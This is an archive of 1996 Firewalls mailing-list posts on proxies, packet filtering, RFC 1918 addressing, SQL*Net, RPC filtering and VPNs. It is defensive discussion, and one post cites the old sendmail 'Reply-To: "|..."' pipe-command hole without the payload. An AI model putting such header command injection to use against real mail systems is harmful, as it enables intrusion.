Received: from services.toploguk.co.uk (svc.toploguk.co.uk [192.112.49.3]) by miles.greatcircle.com (8.7.1/Miles-951221-1) with SMTP id HAA23450 for <firewalls@greatcircle.com>; Wed, 28 Feb 1996 07:52:11 -0800 (PST)
From: Paul Crossley <paul@toploguk.co.uk>
To: mmdfemontoya@sigma.eafit.edu.co
Subject: Failed mail  (msg.ae26080)
Cc: firewalls@greatcircle.com
X-Mailer: ScoMail 3.0.Bd
MIME-Version: 1.0
Date: Wed, 28 Feb 1996 15:40:28 +0000 (GMT)
Message-ID:  <9602281541.aa00736@services.toploguk.co.uk>
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


> From: Edwin Montoya <emontoya@sigma.eafit.edu.co>
> To: firewalls@greatcircle.com
> Subject: version HTTP CERN for sco
> Message-Id: 
<Pine.SOL.3.91.960227212148.11315A-100000@sigma.eafit.edu.co>
> Mime-Version: 1.0
> Content-Type: TEXT/PLAIN; charset=US-ASCII
> Sender: firewalls-owner@greatcircle.com
> Precedence: bulk
> 
> 
> Does anybody know where I can find a version of HTTP for sco ODT in 
binary?
> 
> thanks in advance.
> 

ftp.sco.com
look in the TLS directory - there is a re-worked CERN server there
somewhere - the info file should help you find it.

Paul

-------------------------------------------------------------------------

Paul Crossley            (paul@toploguk.co.uk)      
Senior Consultant              SCO ACE               
TopLog Limited                                        
TopLog House, Knaves Beech Business Centre, Loudwater, Bucks. HP10 9QY
Phone (01628) 819444  Fax (01628) 819356
-------------------------------------------------------------------------


From firewalls-owner  Sat Mar  2 15:01:54 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id OAA17379 for firewalls-outgoing; Sat, 2 Mar 1996 14:05:06 -0800 (PST)
Received: from netcomsv.netcom.com (uucp5.netcom.com [163.179.3.5]) by miles.greatcircle.com (8.7.1/Miles-951221-1) with SMTP id NAA03642 for <firewalls@greatcircle.com>; Wed, 28 Feb 1996 13:01:34 -0800 (PST)
Received: by netcomsv.netcom.com with UUCP (8.6.12/SMI-4.1)
	id MAA12863; Wed, 28 Feb 1996 12:24:56 -0800
Received: from fly.Com. by ccivax.Coded.COM (8.6.5/ULTRIX-4.1)
	id MAA07249; Wed, 28 Feb 1996 12:25:58 -0800
Received: by fly.Com. (5.0/SMI-SVR4)
	id AA16569; Wed, 28 Feb 96 12:21:58 PST
Date: Wed, 28 Feb 96 12:21:58 PST
From: kay@Coded.COM (Don Kay)
Message-Id: <9602282021.AA16569@fly.Com.>
To: asafier@explorer.csc.com
Cc: firewalls@greatcircle.com
Subject: Re: Logs: list
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


	I think Adam is right. I don't run a firewall yet, but I will
	soon. I subscribe to the list so I'll be better prepared when
	the time comes, and I think a little knowledge about interpreting
	logs will be helpfull.

> 
> I would rather see the log discussions stay on this list.  
> 
> I would think understanding firewall logs or hearing how someone is 
> knowking on a FW is of interest to subscribers of firewalls.  
> 
> If you are really worried about generating "noise" just preface your subject 
> with Logs: and we can skip them if not interested.  
> 
> my 2 cents,
> Adam Safier
> 
> 
> > 
> > My apologies, I don't have any ideas, but reading your posting made me
> > wonder if there was any interest in spinning off a list for discussion
> > of firewall log analysis.  I periodically see questions like this on the
> > list, and have had some interesting packets brushing up against our
> > firewall.  It might be nice to have a place to discuss this type of thing
> > without bothering the rest of the firewalls list.
> > 
> > Is anyone else interested in a list like this?  I might be able to round
> > up a site to host it, and would be willing to devote some time to
> > running it, or moderate it if necessary.
> > 
> > - --
> > David Lewis
> > dlewis@rt66.com
> > 
> 
-------------------------------------------------------------------------------
Don Kay			He who can destroy a thing, controls a thing.
Coded Communications
Carlsbad, Ca		Paul Maud-Dib from "Dune" by Frank Herbert		
Kay@Coded.Com		
			    
-------------------------------------------------------------------------------


From firewalls-owner  Sat Mar  2 17:15:13 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id QAA23769 for firewalls-outgoing; Sat, 2 Mar 1996 16:59:02 -0800 (PST)
Received: from ns.gbnet.net (ns.gbnet.net [194.70.126.10]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id QAA23764 for <firewalls@GreatCircle.COM>; Sat, 2 Mar 1996 16:58:58 -0800 (PST)
Received: (from jrg@localhost) by ns.gbnet.net (8.7.3/8.7.3) id AAA10441; Sun, 3 Mar 1996 00:50:15 GMT
Date: Sun, 3 Mar 1996 00:50:15 GMT
From: James R Grinter <jrg@gbnet.net>
Message-Id: <199603030050.AAA10441@ns.gbnet.net>
X-Subliminal: H is for Hypertext
X-Mailer: Mail User's Shell (7.2.5 10/14/92)
To: Adam Shostack <adam@lighthouse.homeport.org>,
        jmr@winternet.com (John Rauser)
Subject: Re: catastrophe logs
Cc: firewalls@GreatCircle.COM
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

On Sat 2 Mar, 1996, Adam Shostack <adam@lighthouse.homeport.org> wrote:
>Perl runs on dos.  I'm not sure how to get dos to emulate cron, so
>I'd probably toss linux or *bsd on the machine, and forget dos.  Use
>what you know.

If you are looking for a DOS program that can do cron-like
things, you might examine 'mistress', 
	<URL:ftp://ftp.demon.co.uk/pub/ibmpc/dos/apps/mistress/mistress.zip>

which does a similar job. (If you want to get hold of the author,
his email address is now mark@kram.org and not as in the readme.)

James.

From firewalls-owner  Sun Mar  3 05:00:09 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id EAA11056 for firewalls-outgoing; Sun, 3 Mar 1996 04:53:48 -0800 (PST)
Received: from celene.rain.com (celene.rain.com [204.188.34.132]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id EAA11051 for <firewalls@greatcircle.com>; Sun, 3 Mar 1996 04:53:42 -0800 (PST)
Received: from localhost.rain.com (localhost.rain.com [127.0.0.1]) by celene.rain.com (8.7.3) with SMTP id MAA24839 for <firewalls@greatcircle.com>; Sun, 3 Mar 1996 12:52:07 GMT
Message-Id: <199603031252.MAA24839@celene.rain.com>
X-Mailer: exmh version 1.6.4 10/10/95
To: firewalls@greatcircle.com
Subject: Re: SQL*Net proxy? 
In-reply-to: Your message of "Tue, 27 Feb 1996 15:56:04 +0100."
             <9602271456.AA27573@rs3.wmd.de> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Sun, 03 Mar 1996 04:52:06 -0800
From: Shawn Instenes <shawni@celene.rain.com>
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


Marco Pauck said:
> 
> Hmmm, I'm quite surprised!?
> 
> We use TIS's plug-gw proxy for SQL*Net V1 (1521/tcp) and V2 (1525/tcp)
> and it just works!
> 
> It should also be possible to use a packet filter instead.

I'll second this- I've installed a number of firewalls that pass SQL*Net
using just TIS FWTK plug-gw, both with Oracle's Secure Network Services
and without.  "It just works" is a good description.

The server versions I've worked with are 7.0.16, 7.1.4, and 7.2.3, and
all of them work.  I've only tried SQL*Net V2.



From firewalls-owner  Sun Mar  3 07:15:15 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA12990 for firewalls-outgoing; Sun, 3 Mar 1996 07:00:34 -0800 (PST)
Received: from puli.cisco.com (puli.cisco.com [171.69.1.174]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id HAA12985 for <Firewalls@GreatCircle.COM>; Sun, 3 Mar 1996 07:00:29 -0800 (PST)
Received: from localhost.cisco.com (localhost.cisco.com [127.0.0.1]) by puli.cisco.com (8.6.8+c/8.6.5) with SMTP id GAA12749; Sun, 3 Mar 1996 06:58:50 -0800
Message-Id: <199603031458.GAA12749@puli.cisco.com>
To: Paul Ferguson <pferguso@cisco.com>
Cc: Firewalls@GreatCircle.COM, yakov@cisco.com
Subject: Re: RFC 1597 and 10/8 addresses 
In-Reply-To: Your message of "Sat, 02 Mar 1996 12:44:22 EST."
             <199603021743.JAA09092@lint.cisco.com> 
Date: Sun, 03 Mar 1996 06:58:50 -0800
From: Yakov Rekhter <yakov@cisco.com>
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Paul,

> >If you are recommending that people use 10/8 adressing, it would be best 
> >to refer them to RFC1918 which just came out this past week and which 
> >supercedes 1597. Nothing really new in it, just a bit clearer explanation 
> >of private networks and their implications and so on.
> >
> 
> One new item RFC-1918 does mention is the use of 'application layer gateways'
,
> such as NAT devices, to 'hide' the use of private Internet address space.

Another difference is that RFC1918 has the status of  BCP (Best Current 
Practices), while RFC1597 is just Informational.

Yakov.

From firewalls-owner  Sun Mar  3 08:45:28 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA15677 for firewalls-outgoing; Sun, 3 Mar 1996 08:40:21 -0800 (PST)
Received: from mail.Clark.Net (mail.clark.net [168.143.0.10]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id IAA15672 for <firewalls@greatcircle.com>; Sun, 3 Mar 1996 08:40:16 -0800 (PST)
Received: from clark.net (mjr@clark.net [168.143.0.7]) by mail.Clark.Net (8.7.3/8.6.5) with ESMTP id LAA25349 for <firewalls@greatcircle.com>; Sun, 3 Mar 1996 11:38:43 -0500 (EST)
From: "Marcus J. Ranum" <mjr@clark.net>
Received: (from mjr@localhost) by clark.net (8.7.1/8.7.1) id LAA08371 for firewalls@greatcircle.com; Sun, 3 Mar 1996 11:38:41 -0500 (EST)
Message-Id: <199603031638.LAA08371@clark.net>
Subject: Re: Eternal war: gateway versus filtering
To: firewalls@greatcircle.com
Date: Sun, 3 Mar 1996 11:38:40 -0500 (EST)
Reply-To: mjr@v-one.com
Organization: V-One Corporation, Baltimore, MD Office
Phone: 410-889-8569
X-Mailer: ELM [version 2.4 PL24alpha3]
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

>My question is am I right or wrong when I think that most critics made to
>packet filtering (no user authentication, no application level knowledge,
>firewall "open" when down, vulnerable to snooping, vulnerable because of IP
>fragmentation, of udp connectionless protocol, of RPC...) do not apply to
>Firewall-1 because of it's enhanced filtering features ?

	Yes and no -- there are a lot of subtle issues and one of
these days I need to do a whitepaper, but until then maybe I can
put a few ideas out for discussion. [I think ches and smb will be
talking about some of this in the next rev of thier book, too]

	First off, the reason for application level gateways rather
than "smart packet filtering" was mostly an implementation detail.
If you remember back, there was a time when free versions of UNIXlike
source weren't growing on trees, and if you hacked a firewall into the
kernel you had to sign your brain rights away in perpetuity on
a source license. It's a big win, portability-wise, and from a
standpoint of making it easier to test code. Running an application
gateway under Saber-C is a luxury you don't get with an in-kernel
proxy. But I digress...  :)

	The original idea of an application gateway was that it
gave you a few things a simple router-based firewall didn't:
	1) Since you were working at a TCP level, the view of
	your traffic was instantly converted to connection
	oriented, which made life a lot easier.
	2) Since you were mediating the connection, you could
	put extra logging or security features into the proxy,
	which you can't do in a router.
	3) It was easier to run under a debugger.

	Nowadays, with dynamic packet filtering, #1 no longer
applies. The firewall (presumably) makes sure that the connections
are managed and sequenced correctly. If implemented correctly
it should be about the same degree of difficulty to spoof a
dynamic packet filtering firewall as an application level
firewall. So they are comparable.

	#2 is the trick, and it's inbound services that really
grab you by the 50-ohm resistor. :(

	Suppose you have an application level proxy that
recognizes the old
Reply-To: "|..."
	sendmail hole. The proxy can provide blanket coverage
for all systems behind it, if it filters that nonsense out. So
that's a real benefit. If it's a screening firewall, unless
there's what amounts to proxy code in the firewall, that
stuff will get through. It means that:
	1) You need to configure your firewall right
	2) You need to secure (at least one system) behind the firewall

	Now, a smart packet filtering firewall might be able to
do that particular check -- essentially a subroutine call built
into the in-kernel filter -- then they'd be equivalent to an
application gateway.

	The bottom line, however, is that if you're a duly
paranoid network manager, you'll probably still block all
incoming mail (regardless of the type of firewall) and direct
it to a postoffice system behind the firewall, which is
running a reasonably patched-up version of sendmail. Otherwise
you're just asking to get nailed by the next sendmail hole
that the application level proxy doesn't "know" about. I'm
using sendmail as an example here, but it could be any
service. :( If you have a TELNET proxy and I talk to it and
then it connects me to a system behind it with a buggy telnetd,
then I can still break your machine if I somehow manage to
authenticate or steal an authenticated connection.

	The end result of this is that there's a strong
pressure to LET NOTHING IN which means the Internet link
isn't very useful -- so a balance has to occur. One other
trend I'e noticed is lots of use of plug-gw to "enable"
services inbound to captive processes on internal machines.
That's *exactly* the same as packet filtering, conceptually.

	The bottom line is that whatever firewall you
are using, you need to be extremely concerned about how
inbound services are managed. You need to secure them
as well as possible. You need to >>GAACK!<< implement
host-based security! :)  Firewalls are not, really, a
solution for inbound services -- which is what everyone
is evolving towards wanting to do. :)

	So -- application level firewalls and dynamic
packet filters are basically the same thing as far as I
am concerned, for outgoing access. For incoming data,
you need to look at the application and how/if it can
hurt you, and, at this point, I wouldn't rely on my
firewall to protect me. Draw up a matrix of what needs
to go in and what needs to go out. The firewall can
cover what goes out, and you need to figure out on a
case by case basis how to do host security for whatever
comes in.

	Good luck! :)

mjr.


-- 
Chief Scientist, V-ONE Corporation  --  "Security for a connected world"
work            http://www.v-one.com
personal        http://www.clark.net/pub/mjr/mjr-top.html

From firewalls-owner  Sun Mar  3 12:45:14 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id MAA21107 for firewalls-outgoing; Sun, 3 Mar 1996 12:38:06 -0800 (PST)
Received: from lint.cisco.com (lint.cisco.com [171.68.235.77]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id MAA21086 for <Firewalls@GreatCircle.COM>; Sun, 3 Mar 1996 12:38:00 -0800 (PST)
Received: from pferguso-pc.cisco.com (c1robo11.cisco.com [171.68.13.11]) by lint.cisco.com (8.6.10/CISCO.SERVER.1.1) with SMTP id MAA17571; Sun, 3 Mar 1996 12:35:25 -0800
Message-Id: <199603032035.MAA17571@lint.cisco.com>
X-Sender: pferguso@lint.cisco.com
X-Mailer: Windows Eudora Pro Version 2.1.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Sun, 03 Mar 1996 15:36:20 -0500
To: Yakov Rekhter <yakov@cisco.com>
From: Paul Ferguson <pferguso@cisco.com>
Subject: Re: RFC 1597 and 10/8 addresses 
Cc: Firewalls@GreatCircle.COM, yakov@cisco.com
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

At 06:58 AM 3/3/96 -0800, Yakov Rekhter wrote:

>> 
>> One new item RFC-1918 does mention is the use of 'application layer gateways'
>,
>> such as NAT devices, to 'hide' the use of private Internet address space.
>
>Another difference is that RFC1918 has the status of  BCP (Best Current 
>Practices), while RFC1597 is just Informational.
>
>Yakov.
>

Good point.  :-)

- paul


--
Paul Ferguson                                           ||        ||
Consulting Engineering                                  ||        ||
Reston, Virginia   USA                                 ||||      ||||
tel: +1.703.716.9538                               ..:||||||:..:||||||:..
e-mail: pferguso@cisco.com                         c i s c o S y s t e m s


From firewalls-owner  Sun Mar  3 17:16:13 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id QAA26949 for firewalls-outgoing; Sun, 3 Mar 1996 16:30:13 -0800 (PST)
Received: from mail.Clark.Net (mail.clark.net [168.143.0.10]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id QAA26944 for <firewalls@greatcircle.com>; Sun, 3 Mar 1996 16:30:09 -0800 (PST)
Received: from [130.128.2.12] (localtalk12.ietf.interop.net [130.128.2.12]) by mail.Clark.Net (8.7.3/8.6.5) with SMTP id TAA03299; Sun, 3 Mar 1996 19:26:16 -0500 (EST)
X-Sender: hcb@mail.clark.net
Message-Id: <v01520d03ad5fe78d4d7b@[130.128.2.12]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Sun, 3 Mar 1996 16:22:28 -0800
To: holdrege@Eisner.DECUS.Org
From: hcb@clark.net (Howard C.  Berkowitz)
Subject: Re: IP/IPX firewall
Cc: pferguso@cisco.com, firewalls@greatcircle.com
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

>>>I'm looking for a firewall that would allow only certain IP and IPX
>>>addresses to access a LAN. At least one of the interfaces on the Firewall
>>>need to be Token Ring. The other could be Token Ring or Ethernet. Does such
>>>a beast exist?
>
>>Yes -- its called a router. With filtering capabilities, of course.  :-)
>
>>- paul
>
>OK, OK. To be more specific, this firewall needs to have a user-friendly access
>list administrative interface. That rules out the Cisco routers that we use. :)

Congratulations.  You have successfully used "access list," "firewall," and
"access list" reasonably coherently in the same sentence!

:-)

Howard



From firewalls-owner  Mon Mar  4 01:01:43 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id AAA11768 for firewalls-outgoing; Mon, 4 Mar 1996 00:57:43 -0800 (PST)
Received: from mailserver.zia.ms.it (icaro.zia.ms.it [194.21.103.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id AAA11763 for <firewalls@GreatCircle.COM>; Mon, 4 Mar 1996 00:57:16 -0800 (PST)
Organization:  Rete Telematica Apuana _ Consorzio Zona Industriale Apuana - Massa - Italy
Received: from netix.it (caronte.netix.it [194.21.103.247]) by mailserver.zia.ms.it (8.6.12/8.6.12) with SMTP id KAA20282 for <firewalls@GreatCircle.COM>; Mon, 4 Mar 1996 10:00:39 +0100
Received: from vega by netix.it (5.x/SMI-SVR4)
	id AA00977; Mon, 4 Mar 1996 09:53:30 +0100
Received: from netix by vega (5.0/SMI-SVR4)
	id AA00655; Mon, 4 Mar 1996 09:55:12 --100
Received: by netix (5.0/SMI-SVR4)
	id AA00416; Mon, 4 Mar 1996 09:55:08 --100
Date: Mon, 4 Mar 1996 09:55:08 --100
From: ap@netix.it (Aldo Pannocchia)
Message-Id: <9603040855.AA00416@netix>
To: firewalls@GreatCircle.COM
Subject: Re: filtering RPC ports
X-Sun-Charset: US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


> From firewalls-owner@GreatCircle.COM Mon Mar  4 09:49 MET 1996
> From: "W.C. Epperson" <epperson@vak12ed.edu>
> Subject: filtering RPC ports
> To: firewalls@GreatCircle.COM
> Date: Fri, 01 Mar 1996 13:24:33 EST
> 
> Recently there was a thread here in which it was noted that filtering
> portmap (111) traffic merely made it more difficult to find the RPC
> service ports, that if they could be guessed, they could be gotten to.
> 
> What approaches, from a filtering perspective, might be employed to
> block these ports, since they appear to be arbitrarily and dynamically
> assigned (from observation and from reading the rfcs)?
> --

FW-1 filter a single RPC service (identified by its port number).

> W.C. Epperson			"I have great faith in fools. 
> Senior SE                        Self-confidence, my friends call it."
> Information Security Officer             --Edgar Allan Poe--
> DBA Emeritus
> Curmudgeon-for-Life
> Virginia Dept. of Education	        
> epperson@pen.k12.va.us
> 

From firewalls-owner  Mon Mar  4 01:45:19 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id AAA11702 for firewalls-outgoing; Mon, 4 Mar 1996 00:49:56 -0800 (PST)
Received: from ns1.digital.fr (ns1.digital.fr [193.56.15.3]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id AAA11697 for <firewalls@greatcircle.com>; Mon, 4 Mar 1996 00:49:49 -0800 (PST)
Received: from vbormc.vbo.dec.com (vbormc.vbo.dec.com [16.36.208.94]) by ns1.digital.fr (8.7/8.7) with ESMTP id JAA14017; Mon, 4 Mar 1996 09:48:18 +0100
Received: (from root@localhost) by vbormc.vbo.dec.com (8.7.3/8.7) with UMC id JAA02608; Mon, 4 Mar 1996 09:43:22 +0100
Received: from umc by vbormc.vbo.dec.com via MR/VALMTS with conversational-MRIF;
	Mon, 04 Mar 96 09:43:22 +0100
Posted: Mon, 04 Mar 96 08:42:01 +0100
Date: Mon, 04 Mar 96 08:37:01 +0100
From: "MARC CHATEL @AEO" <chatel.marc@a1_annecy.frmrc.aeo.mts.dec.com>
Message-ID: <21648040306991/6714513@FRMRC>
To: firewalls@greatcircle.com
Cc: rapoport@iway.fr
Subject: Handling IP addressing conflicts with cascaded proxies
Msg-Class: ALL-IN-1 IOS Server for VMS V3.0 PBL123A  (US) ENGLISH 21-MAR-1992
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

[This message is converted from WPS-PLUS to ASCII]

Hello all,

I see that the subject of handling multiple occurrences of the
same IP network numbers has come up again. We should make this
part of the firewall FAQ, I guess...

The most common cases where this occurs is an organization that
has umpteen network numbers (which are not InterNIC-registered)
that now needs to connect to the Internet in some way. What should be
put in the middle of the connection that will support the fact that
some IP addresses exist on BOTH sides of the configuration?

More importantly (everybody, hope that IPV6 comes in fast enough
to minimize this), how will we handle cases where N > 2 IP internetworks
have conflicting network numbers and need to be interconnected?

It is true that some companies have come out with specific system/
software combinations to solve this problem. Some products have
already been mentioned, others will be, I have no doubts about that.

Building such a product practically REQUIRES messing around in the depths
of a TCP/IP software stack in order to achieve the desired functionality.
Some people may fear the potential security impact of such software
modifications. I certainly would not feel confident if I was personally
asked to modify an IP stack to do this...

It should be remembered that IT IS POSSIBLE to achieve the desired
functionality with much more mundane technology IF:

     a) the types of communications you need can all be proxied
     b) you have access to "classical" proxy software that supports
        auto-forwarding (a very simple functionality to implement,
        many available proxies, commercial or free, do this)
     c) you have two systems on which this proxy software can run
        (the two systems can become a "firewall" if you want)

What needs to be done then is as simple as:

     1. Configure each system to live in the IP environment of one side
        of your "firewall configuration"
     2. Configure an interconnection IP network (often a short Ethernet
        cable between the two proxy machines). The IP network number
        used on the interconnection network ONLY NEEDS TO BE KNOWN TO
        THE TWO PROXY MACHINES.
     3. Set up the proxy applications for the appropriate auto-forwarding
        configuration.

I have written a document about proxies that (among other things)
describes this setup. You may wish to take a look at it:

http://ds.internic.net/internet-drafts/draft-rfced-info-chatel-00.txt

Like all internet drafts, it is also available by FTP and on several
mirrors:

         ftp.is.co.za (Africa)
         nic.nordu.net (Europe)
         ds.internic.net (US East Coast)
         ftp.isi.edu (US West Coast)
         munnari.oz.au (Pacific Rim)

Of course, nobody should consider this document to be "The Truth" (beware
of what you read). It is just a set of opinions from one guy in a corner,
and exactly fits the "Request For Comments" concept...

Regards,
Marc Chatel

E-mail: Marc.Chatel@aeo.mts.dec.com

Disclaimer: On this forum, I only speak for myself, nobody else.


From firewalls-owner  Mon Mar  4 02:00:34 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id BAA14434 for firewalls-outgoing; Mon, 4 Mar 1996 01:50:15 -0800 (PST)
Received: from mari.co.uk (atlas.mari.co.uk [193.37.33.242]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id BAA14429 for <Firewalls@GreatCircle.COM>; Mon, 4 Mar 1996 01:50:09 -0800 (PST)
Received: by mari.co.uk (8.6.9/IEA-V1.0)
	id JAA28283; Mon, 4 Mar 1996 09:25:31 GMT
Received: from kronos(10.4.8.13) by atlas.mari.co.uk via smap (V1.3)
	id sma028279; Mon Mar  4 09:25:28 1996
Received: by kronos (5.x/SMI-SVR4)
	id AA27867; Mon, 4 Mar 1996 09:49:46 GMT
From: iea@mari.co.uk (Ian.Alder)
Message-Id: <9603040949.AA27867@kronos>
Subject: Re: Firewalls-Digest V5 #134
To: Firewalls@GreatCircle.COM
Date: Mon, 4 Mar 1996 09:49:45 +0000 (GMT)
In-Reply-To: <199603011845.KAA26118@miles.greatcircle.com> from "firewalls-digest-owner@GreatCircle.COM" at Mar 1, 96 10:45:35 am
X-Mailer: ELM [version 2.4 PL24]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

I have seen a number of articles in the network
press regarding firewalls that were not as secure
as you would like to think that they are.

Has anyone out there seriously tried to break
thru firewall systems?

Could the results be posted to this list?

Are there any good packages out there to break firewalls?




From firewalls-owner  Mon Mar  4 02:17:36 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id BAA14296 for firewalls-outgoing; Mon, 4 Mar 1996 01:47:33 -0800 (PST)
Received: from gate.gb.swissbank.com (gate.sbc.co.uk [193.114.243.33]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id BAA14271 for <Firewalls@GreatCircle.COM>; Mon, 4 Mar 1996 01:47:23 -0800 (PST)
Received: from gb.swissbank.com by gate.gb.swissbank.com; Mon, 4 Mar 1996 09:45:40 GMT
From: Richard Boardman <boardmr@gb.swissbank.com>
Date: Mon, 4 Mar 1996 09:41:24 GMT
Message-Id: <26407.199603040941@gpo.gb.swissbank.com>
Received: from ln1d454swk(155.145.96.29) by gpo via smap (V1.3)
	id sma026290; Mon Mar  4 09:41:03 1996
To: Firewalls@GreatCircle.COM
Subject: Web Caching Proxy Servers
X-MD5: 73b75b0dcfa08c7b961007e9c4d08fbc
X-SNEFRU:  1e8dd7de 13e7357d c90a0040 7bdcccba cd274930 a868ce7b 3e1c2e47 48e54a56
X-chksum-host: gpo.gb.swissbank.com
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

I'm looking at web caching proxy servers on behalf of my company.  
 
Does anyone have any comments on available products or pointers to 
sources of information such as independent product evaluations or
comparisions? (aside from the regular marketing blurb).
 
We are aware of the Netscape proxy server, TIS http-gw and the CERN 
httpd, are there any other products (Unix/NT) out there that we should
be evaluating?
 
Our intention is to use it as a proxy only (ie. relaying and supplying 
requests for internal users -- there should be no outward-serving 
functionality at all).
 
I'm interested in the following aspects :-
* security
        -- source code availability
        -- any third party evaluations
        -- remapping/blocking of certain URLs
        -- content filtering (eg. Java)
        -- support for SSL, SHTTP
        -- secure logging
 
* performance considerations
        -- cache configuration, consistency methods and tuning
        -- number of users
        -- throughput (requests/second)
 
* general
        -- architecture (Unix/NT)
        -- support issues
        -- level of transparency to users
        -- ease of management
 
Thanks for any help, please can people send replies to me direct, I'll
post a summary.
 
Rick
--
>Rick Boardman>>IT>>>>>>>>>>>>>>>>>>>>>boardmr@gb.swissbank.com>
<SBC-Warburg, London. EC4V 3SB. UK.<<<<<<<0171-711 2940<<<<<<<<<

From firewalls-owner  Mon Mar  4 04:30:15 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id EAA21513 for firewalls-outgoing; Mon, 4 Mar 1996 04:28:19 -0800 (PST)
Received: from enst.enst.fr (enst.enst.fr [137.194.2.16]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id EAA21487 for <firewalls@GreatCircle.COM>; Mon, 4 Mar 1996 04:26:40 -0800 (PST)
Received: from email.enst.fr (root@email.enst.fr [137.194.160.46]) by enst.enst.fr (8.6.10/8.6.10) with ESMTP id NAA03598 for <firewalls@GreatCircle.COM>; Mon, 4 Mar 1996 13:22:22 +0100
Received: from gavroche.enst.fr (gavroche.enst.fr [137.194.160.24]) by email.enst.fr (8.7.Beta.13/8.7.Beta.13) with ESMTP id NAA29717 for <firewalls@GreatCircle.COM>; Mon, 4 Mar 1996 13:22:02 +0100 (MET)
From: Kamel Khadri <khadri@Email.ENST.Fr>
Received: (khadri@localhost) by gavroche.enst.fr (8.6.10/8.6.10) id NAA04469 for firewalls@GreatCircle.COM; Mon, 4 Mar 1996 13:21:59 +0100
Date: Mon, 4 Mar 1996 13:21:59 +0100
Message-Id: <199603041221.NAA04469@gavroche.enst.fr>
To: firewalls@GreatCircle.COM
X-Sun-Charset: US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

get me off this list please

From firewalls-owner  Mon Mar  4 05:15:33 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id EAA22258 for firewalls-outgoing; Mon, 4 Mar 1996 04:59:11 -0800 (PST)
Received: from su1.in.net (su1.in.net [199.0.62.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id EAA22251 for <firewalls@GreatCircle.com>; Mon, 4 Mar 1996 04:59:06 -0800 (PST)
Received: from pm2-09.in.net by su1.in.net with SMTP (5.65/1.2-eef)
	id AA02365; Mon, 4 Mar 96 07:55:37 -0500
Date: Mon, 4 Mar 96 07:55:37 -0500
Message-Id: <9603041255.AA02365@su1.in.net>
X-Sender: frankw@in.net
X-Mailer: Windows Eudora Pro Version 2.1.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: firewalls@GreatCircle.com
From: Frank Willoughby <frankw@in.net>
Subject: Re: VPN's over the internet
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Verily at 09:40 AM 3/4/96 +0100, Damir Rajnovic did write:

>>Frank Willoughby
> Damir Rajnovic

>Hello,
>
>> SCENARIO 1
>> Suppose a hacker was able to break into the other network and 
>> you only have FW->FW encryption.  After the hacker has shut 
>> down security logging & auditing and created a couple of new 
>> accounts, the individual will start looking for other systems 
>> to crack.  Since your network is an extension of the other 
>> network (via the VPN), your network is a likely target.  Since 
>> the firewall in this case only supports encrypted tunneling, 
>> the pipe (link) between the two firewalls is completely 
>> transparent to the hacker and provides absolutely no protection 
>> against the hacker from setting up shop on your network.
>
>> If the firewall did support filtering _in_addition_to_ encrypting 
>> the link between the two firewalls, the hacker will have a much 
>> more difficult time in crossing from the compromised network to 
>> your network.
>
>[snip-snip]
>
>> There are at least two solutions to resolving the above-mentioned
>> vulnerabilities:
>
>> o Purchase a firewall which supports Firewall->Firewall encryption
>>   AND will also provide applications filtering (via proxy, etc) of
>>   the encrypted links.
>
>> o Place a hardware encryption box between the firewall and the VPN
>>   access point as illustrated the (crude) diagram below.
>
>>     your network->FW->HEB->public net->HEB->FW->their network
>
>> FW=Firewall
>> HEB=Hardware Encryption Box (obviously, it also decrypts)
>
>> Best Regards,
>
>> Frank
>
>It's seems to me that second solution Frank propose is also vulnerable to
